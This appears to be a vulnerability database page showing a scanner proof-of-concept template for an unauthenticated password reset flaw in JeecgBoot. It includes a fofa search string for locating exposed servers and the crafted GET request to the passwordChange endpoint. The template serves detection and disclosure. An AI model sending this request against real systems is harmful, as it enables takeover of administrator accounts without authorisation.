BiuPoC

jeecg-boot-passwordChange-unauth: JeecgBoot Password Reset Vulnerability

2025-08-01 jeecg-boot PoC Public

Description

JeecgBoot system passwordChange interface has an unauthorized password reset vulnerability.

An unauthenticated attacker can reset administrator account password by sending a crafted request.

fofa: body="/sys/common/pdf/pdfPreviewIframe"

PoC

id: jeecg-boot-passwordChange-unauth
info:
  name: JeecgBoot Password Reset Vulnerability
  author: ZacharyZcR
  severity: critical
  verified: true
  description: |
    JeecgBoot system passwordChange interface has an unauthorized password reset vulnerability.
    An unauthenticated attacker can reset administrator account password by sending a crafted request.
    fofa: body="/sys/common/pdf/pdfPreviewIframe"
  reference:
    - https://github.com/wy876/POC/blob/main/JeecgBoot/JeecgBoot%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3passwordChange%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E.md
  tags: jeecgboot,passwordchange,unauth
  created: 2025/08/22

rules:
  r0:
    request:
      method: GET
      path: /jeecg-boot/sys/user/passwordChange?username=admin1&password=admin&smscode=&phone=
    expression: |
      response.status == 200 && 
      response.body.bcontains(b'"success":false') && 
      response.body.bcontains(b'"code":0') &&
      response.body.bcontains(b'"重置密码失败！"')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/jeecg-boot-passwordChange-unauth.yaml

References

Related Vulnerabilities